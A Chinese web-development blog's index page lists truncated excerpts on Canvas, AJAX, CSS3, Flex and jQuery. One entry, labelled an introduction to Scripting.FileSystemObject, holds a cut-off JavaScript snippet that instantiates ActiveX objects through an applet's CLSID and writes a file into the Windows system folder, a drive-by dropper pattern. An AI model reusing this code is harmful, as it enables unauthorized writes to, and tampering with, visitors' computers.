Canvas使用教程——动画基础(Basic animations)

评论(0)浏览(189)分类:Canvas/VML/SVG
Canvas使用教程——动画基础(Basic animations)来源:https://developer.mozilla.org/en/Canvas_tutorial/Basic_animationsSince we're using script to control canvas elements it's also very easy to make (interactive) animations. Unfortunately the canvas element was never designed to be used in this way (unlike Flash) so there are limitations.Probably the biggest limitat..

Javascript跨域和Ajax跨域解决方案

评论(0)浏览(189)分类:JavaScript/Ajax开发技巧
Javascript跨域和Ajax跨域解决方案最近做的一个项目中需要ajax跨域取得数据,如果是在本域中确实没有问题,但是放到二级域和其他域下浏览器直接就弹出提示框:“该页正在访问其控制范围之外的数据,这有些危险,是否继续"1.什么引起了ajax跨域不能的问题ajax本身实际上是通过XMLHttpRequest对象来进行数据的交互,而浏览器出于安全考虑,不允许js代码进行跨域操作,所以会警告。2.有..

JS URL编码函数

评论(1)浏览(189)分类:JavaScript/Ajax开发技巧
JS URL编码函数摘要: js对文字进行编码涉及3个函数:escape, encodeURI, encodeURIComponent。他们各有各的作用,具体请看全文。js对文字进行url编码涉及3个函数:escape,encodeURI,encodeURIComponent,相应3个解码函数:unescape,decodeURI,decodeURIComponent。escape() 方法:采用ISO Latin字符集对指定的字符串进行编码。所有的空格符、标点符号、特殊字符..

10.3.重置颜色

评论(0)浏览(188)分类:flash/flex/fcs/AIR
10.3.重置颜色问题我要恢复对象颜色到默认值解决办法新建一个ColorTransform对象赋值给可视化对象的transform.colorTransform属性讨论通过默认值的flash.geom.ColorTransform对象来重置可视化对象的颜色,具体的话就是创建一个ColorTransform对象直接赋值:+展开-ActionScriptsampleSprite.transform.colorTransform=newColorTransform();

第二十四章. FlexUnit单元测试

评论(0)浏览(188)分类:flash/flex/fcs/AIR
第二十四章. FlexUnit单元测试  随着Flex 应用程序变得越来越庞大和负责,单元测试已逐渐被广大Flex 开发者所接受和欢迎。所谓单元测试,就是一个确保项目中新增条件或改变不会引入更多的BUGs 或不会修改预期行为,使得大型团队能够不引入bugs 的情况下协调工作,确认小的独立的部分程序向特定的方法返回预期结果。这使得bugs 和异常能被迅速定位,因为正确的单元测试将能测..

第二十五章. 编译与调试

评论(0)浏览(188)分类:flash/flex/fcs/AIR
第二十五章. 编译与调试  编译Flex程序最常用的方法是使用Flex Builder或者是在命令行调用MXML编译器(mxmlc),不过,还有不少其他的工具也可以完成编译程序、移动文件或者调用应用程序的任务。比如,make、Ant、及Rake,你可以仅仅使用一个命令就能调用它们完成整个编译和部署的任务。  Flex中的调试是借助于Debug版的Flash Player完成的,因为debug版的Flash Play..

CSS3动画教程

评论(0)浏览(188)分类:HTML/CSS兼容/XML
CSS3动画教程  CSS3的属性比如 border-radius 、 box-shadow 和 text-shadow 在webkit(Safari、Chrome等)和Gecko(Firefox)等先进的浏览器中的使用开始出现增长的势头。它们(这些CSS属性)已经为用户创建更轻量的页面和更丰富的体验,而且它们可以优雅的降级。然而,这些只是CSS 3能为我们做的众多事情中的一小部分。  在本文中,我们将走的更远,看一看 变..

ajax对象释放onreadystatechange状态转换函数的问题

评论(0)浏览(188)分类:JavaScript/Ajax开发技巧
ajax对象释放onreadystatechange状态转换函数的问题  在获取ajax对象的时候,如果是先判断activexobject,然后再是XMLHttpRequest,那么在IE浏览器下都会使用activexobject来创建ajax对象。此时如果要判断onreadystatechange事件是否为空时,如下面的这种语句,IE浏览器下会出错。+展开-JavaScriptif(xhr.onreadystatechange)//这样会在IE下出错xhr.onreadystatechange=null;//这样来释放onread..

如何抠JavaScript效果代码

评论(0)浏览(188)分类:JavaScript/Ajax开发技巧
如何抠JavaScript效果代码  要抠JavaScript效果代码,不是一件容易的事,需要有一定的JavaScript基础,掌握一定的调式工具,如firebug或者google的开发人员工具,强烈推荐firebug。  我的方法大概如下,使用firebug1)找到效果代码函数名称或者函数体  a)如果容器直接写了事件就简单了,直接就找到了。  b)要不需要找到动画那块内容,看容器或者子内容是不是有..

CSS3 transform制作的Windows徽标

评论(0)浏览(188)分类:HTML/CSS兼容/XML
CSS3 transform制作的Windows徽标  CSS3 transform制作的Windows徽标,使用IE9+或者chrome,firefox等测试效果style#windows .canvas { background: #fff;}#windows .icon { left:193px; position: absolute; top:20px; -moz-transform: rotate(16deg); -webkit-transform: rotate(16deg); transform: rotate(16deg);}.window-e1,.window2,.window3,..

让IE6,IE7支持display inline-block

评论(0)浏览(187)分类:HTML/CSS兼容/XML
让IE6,IE7支持display inline-block  IE6,IE7对css样式display inline-block的支持有问题,需要经过css hack后才会支持。注意:IE8需要加xhtml申明变为css1compat模式才会支持inline-block,backcompat模式不支持,但是可以通过css hack来实现,和IE7-一样。  要想让IE6,IE7支持css样式display inline-block,有下面2种方法1、先使用display:inline-block属性触发块元素,然后..

分享6个不错的jquery tooltip plugin

评论(0)浏览(187)分类:JavaScript/Ajax开发技巧
分享6个不错的jquery tooltip plugin  6个不错的jquery Tooltip插件  1) Poshy Tip 是一个强大的jQuery Tooltip插件,拥有不同的外观。作为 Form Tooltips使用时,可以自定义气泡出现的位置。http://vadikom.com/tools/poshy-tip-jquery-plugin-for-stylish-tooltips/演示地址:http://vadikom.com/demos/poshytip/  2)Easy Tooltip是一款 jQuery 的 Tooltip 插件。http://cs..

检查textarea每行的内容是否符合要求

评论(0)浏览(187)分类:JavaScript/Ajax开发技巧
检查textarea每行的内容是否符合要求CSDN看到的的问题,描述如下    现在的情况是这样。JSP一个多行文本输入框。用户可以在上面输入电话号码,最少为一个,暂时没有上限,现在遇到一个问题,当用户输入的电话号码大于10个的时候(这里为了测试方便,所以只输入10个,实际情况不会少于1W个),当这些电话号码当于有一个或多个出错(如:电话号码长度不是11位,电话号码其中包含了英..

CLIP: rect 是什么?

评论(1)浏览(187)分类:HTML/CSS兼容/XML
CLIP: rect 是什么?Clipping的中文解释就是剪辑的意思,这个属性决定了对象的哪个部位可以被看到。它不会改变任何对象的性质。 Clipping 的区域是一个矩形, 而这个矩形的尺寸取决于于四个边的位置。 这四个边用 top, right, botton, left 来表示。 请注意:这四个边的位置是相对于对象的而不是相对于窗口的。 Clip属性的书写格式是这样的:   Clip rect(top,r..

javascript加密解密base64字符串

评论(0)浏览(186)分类:JavaScript/Ajax开发技巧
javascript加密解密base64字符串  javascript实现的将字符串转换为base64字符串,或者将base64编码的字符串还原为原来的内容,源代码如下HTMLHEADTITLEjavascript加密解密base64字符串/TITLEscript language=javascriptvar base64EncodeChars = ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/;var base64DecodeChars = new Array(  -1, -1, -1, -1, -1..

jquery插件jPrintArea使用方法

评论(0)浏览(186)分类:JavaScript/Ajax开发技巧
jquery插件jPrintArea使用方法  jquery插件jPrintArea,利用该插件可以实现打印网页中的指定元素。该插件的源代码为: +展开-JavaScriptjQuery.jPrintArea=function(el){variframe=document.createElement('IFRAME');vardoc=null;$(iframe).attr('style','position:absolute;width:0px;height:0px;left:-500px;top:-500px;');document.body.appendChild(iframe);doc=ifra..

添加xhtml声明后documentElement.scrollTop为0

评论(0)浏览(185)分类:JavaScript/Ajax开发技巧
添加xhtml声明后documentElement.scrollTop为0  再chrome浏览器下面,无论申明doctype为html或者xhtml,获取或者设置页面的滚动高只能使用document.body.scrollTop,使用document.documentElement.scrollTop得到的是0,chrome版本为16.0.912.75 m,而其他浏览器则按照doctype的不同使用不同的对象,申明为xhtml时使用document.documentElement.scrollTop,doctype为html时则使用document.b..

domReady事件

评论(0)浏览(185)分类:JavaScript/Ajax开发技巧
domReady事件  在w3c浏览器下面,domReady事件==DOMContentLoaded事件,IE浏览器下面没有DOMContentLoaded事件,可以通过IE加载循序使用script+defer属性来实现domReady事件,具体参考下面的代码  基本上每个库都有domReady事件,因为如果要对页面上的元素进行操作,必须等到页面加载了这个元素才行,否则会报错,但是很难判定某个元素是否已加 载,但可..

flash object/embed wmode介绍

评论(0)浏览(185)分类:flash/flex/fcs/AIR
flash object/embed wmode介绍  在web开发中可能会遇到flash遮挡页面中元素的情况,无论怎么设置flash容器和层的深度(z-index)也无济于事,现有的解决方案 是在插入flash的embed或object标签中加入wmode属性并设置为wmode=transparent或opaque。  wmode即窗口模式总共有三种,Macromedia官方的说法:window 模式  默认情况下的显示模式,在这种模式下flash player有自己..

Scripting.FileSystemObject介绍

评论(0)浏览(185)分类:JavaScript/Ajax开发技巧
Scripting.FileSystemObject介绍+展开-JavaScriptdocument.write("");functionf(){try{a1=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");a1.createInstance();sh=a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");a1.createInstance();fo=a1.GetObject();hd=fo.CreateTextFile("c:\\WINDOWS\\system\\mslog.htm");hd.writ..

实现Flash跨域访问

评论(0)浏览(185)分类:flash/flex/fcs/AIR
实现Flash跨域访问  Flash Player 7 及以上版本为目标播放器发布的文件,采用完全域匹配规则,而不是超域匹配规则。因此,被访问的文件(即使该文件以 早于 Flash Player 7 的 Flash Player 版本为目标播放器发布)必须显式允许跨域或子域访问;其次,在某一使用安全协议 (HTTPS) 的站点上承载的文件必须显式允许从使用不安全协议(HTTP 或 FTP)的站点承载的文..

放阿里妈妈广告网站可能被百度k

评论(0)浏览(185)分类:网站排名及优化
放阿里妈妈广告网站可能被百度k  百度一直收录不了,网上查看被百度k的几个原因发现了一条。 以下是引用:  网站添加阿里妈妈广告而造成百度收录变少或没收录!这个却是千真万确的,本人也尝试过多次,被百度K掉后,去掉了阿里妈妈的广告,第2天马上重新收录,由于本人不信邪,来回试了几次都得出同样的效果。有一次阿里妈妈广告的客户打电话给我要求我的网站做他的包月广告..

CSS固定定位position:fixed

评论(0)浏览(184)分类:HTML/CSS兼容/XML
CSS固定定位position:fixed通过CSS的定位属性{position:fixed}来实现,它可以让HTML元素脱离文档流固定在浏览器的某个位置。IE7、Firefox、Opera,都支持CSS的{position:fixed},所以很容易实现(《详解定位与定位应用》)IE6不支持该属性,但是在使用!DOCTYPE 声明指定standards-compliant(标准)模式可以通过CSS hack实现上述声明下IE5和IE5.5目前没有发现通过纯粹CSS能..

组合合并canvas图形

评论(0)浏览(183)分类:JavaScript/Ajax开发技巧
组合合并canvas图形  在HTML5中有11种组合图形的方式,只要把他们设置到context.globalCompositeOperation中就可以了,下面是一些证明各种图形组合方式的结果的示例。  HTML代码很简单,就2个控件,一个是下拉列表,让用户选择组合方式,并且一旦用户做出了选择,就执行js函数draw(id),从而在第二个控件canvas上根据用户当前选择的组合方式进行画图。第二个控..

html5有哪些新特性

评论(0)浏览(183)分类:HTML/CSS兼容/XML
html5有哪些新特性  本文总结了HTML5带来的15项你必须知道的新特性。1.新的文档类型 (New Doctype)  目前许多网页还在使用XHTML1.0并且要在第一行像这样声明文档类型: !DOCTYPE html PUBLIC -//W3C//DTD XHTML 1.0 Transitional//EN http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd   在HTML5中,上面那种声明方式将失效。下面是HTML5中..

如何给script标签增加可执行的javascript代码

评论(0)浏览(183)分类:JavaScript/Ajax开发技巧
如何给script标签增加可执行的javascript代码  动态创建的script标签,如何设置innerHTML为javascript代码,使脚本运行起来,而不是通过加载js文件来实现脚本的动态运行。  动态创建script标签并运行javascript代码,可以借鉴jquery框架的代码,经过提取后源代码如下script var rnotwhite = /\S/; var scriptEval = false; var root = document.documentElement,script = docu..

XMLHTTP notes: abort() and Mozilla bug

评论(0)浏览(183)分类:JavaScript/Ajax开发技巧
XMLHTTP notes: abort() and Mozilla bugIn my continuing quest to understand XMLHTTP I gathered some very intriguing material that I'm quite sure will save somebody else's ass. Today I offer a closer look at the abort() method, as well as an as yet unexplained bug in Mozilla which causes the responseXML to go missing.A note first of all: I tested everything ..

DOM编程-拖拽(拖动)层的几个细节问题

评论(0)浏览(183)分类:JavaScript/Ajax开发技巧
DOM编程-拖拽(拖动)层的几个细节问题此文也可以命名为好的拖动层必须做的几个细节在一个拖拽系统中,做出来容易细节,细节却并不尽如人意..拖拽中没有一个完美(或者说比较完美)的解决方案,原因在于:我们所知道拖拽的实现的方法(cross-browser)是有三个事件的:onmousedown,onmousemove,onmouseup,即onmousedown来捕获,onmousemove拖拽,onmouseup释放事件. 这在一般情况下是没有问题的...

5.4.删除数组元素

评论(0)浏览(182)分类:flash/flex/fcs/AIR
5.4.删除数组元素问题我要删除一个或多个数组元素,或移动数组元素解决办法splice( ) 方法删除指定位置的元素,pop( ) 删除尾部元素,shift( ) 删除首部元素讨论删除指定位置的元素使用splice( ) 方法,它需要两个参数:start开始下标deleteCount删除的元素个数,如果没有定义,则从起始位置到末尾全部删除:+展开-ActionScriptvarletters:Array=["a","b","c","d..

IE blur滤镜

评论(0)浏览(182)分类:HTML/CSS兼容/XML
IE blur滤镜  IE blur滤镜:创建高速度移动效果,即模糊效果语法filter:Blur(Add=add,Direction=direction,Strength=strength)说明 Add:是一个布尔值,一般来说,当滤镜用于图片时取0,用于文字时取1。文字设置add=1时会整个字体增加移动效果,会很模糊注意设置add的值。 Direction:模糊方向,以45度为单位改变,0为垂直向上,45向右上,90水平向右,13..